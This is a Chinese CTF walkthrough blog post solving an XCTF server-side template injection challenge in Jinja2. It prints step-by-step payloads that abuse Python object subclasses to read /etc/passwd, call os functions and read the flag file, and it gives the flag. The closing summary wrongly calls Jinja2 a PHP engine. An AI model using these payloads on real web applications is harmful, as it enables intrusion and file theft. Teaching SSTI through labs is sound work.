前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【愚公系列】2022年04月 攻防世界-进阶题-WEB-014(Web_python_template_injection)

【愚公系列】2022年04月 攻防世界-进阶题-WEB-014(Web_python_template_injection)

作者头像
愚公搬代码
发布2022-05-01 14:04:19
发布2022-05-01 14:04:19
46200
代码可运行
举报
文章被收录于专栏:历史专栏历史专栏
运行总次数:0
代码可运行

文章目录

前言

SSTI即(server-side template injection)服务器模板,平时我们常用的有sql注入,xss注入,xml注入和命令注入等等。大家应该都知道sql注入的原理以及方式,而模板注入的原理也很类似都是通过输入一些指令在后端处理进行了语句的拼接然后执行。模板注入不同的是它是针对python、php、java、nodejs、javascript或是ruby的网站处理框架。

一、Web_python_template_injection

题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1

二、使用步骤

1.点击获取在线场景

2.场景分析

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式

2.1 判断有无模板注入

代码语言:javascript
代码运行次数:0
运行
复制
http://111.200.241.244:51429/%7B%7B7+7%7D%7D

2.2 查看全局变量

代码语言:javascript
代码运行次数:0
运行
复制
{{config}}

2.3 寻找可用引用

文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。

几个魔术方法:

  • __class__ 返回类型所属的对象
  • __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  • __base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
  • __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
  • __init__ 类的初始化方法
  • __globals__ 对包含函数全局变量的字典的引用
代码语言:javascript
代码运行次数:0
运行
复制
{{''.__class__.__mro__[2].__subclasses__()}}

可以看到有一个type file类型(可以进行文件读取),而且位置在数组第40。

2.4 文件读取

代码语言:javascript
代码运行次数:0
运行
复制
{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

2.4 命令执行

可以看到有一个 类型(可以进行命令执行),而且位置在数组第71。

代码语言:javascript
代码运行次数:0
运行
复制
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

2.5 读取文件

代码语言:javascript
代码运行次数:0
运行
复制
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

2.6 得到flag

flag:ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

总结

本文简单介绍服务端模版注入漏洞如常规 Web 注入漏洞之间的关系,分析了其产生的原理,并以 PHP 模板引擎 Jinja2 为例讲解了 SSTI 常规的扫描和检测方法。虽然说 SSTI 并不广泛存在,但如果开发人员滥用模板引擎,进行不安全的编码,这样 Web 应用就可能出现 SSTI,并且根据其模板引擎的复杂性和开发语言的特性,可能会造成非常严重的问题。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022/04/30 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章目录
  • 前言
  • 一、Web_python_template_injection
  • 二、使用步骤
    • 1.点击获取在线场景
    • 2.场景分析
      • 2.1 判断有无模板注入
      • 2.2 查看全局变量
      • 2.3 寻找可用引用
      • 2.4 文件读取
      • 2.4 命令执行
      • 2.5 读取文件
      • 2.6 得到flag
  • 总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档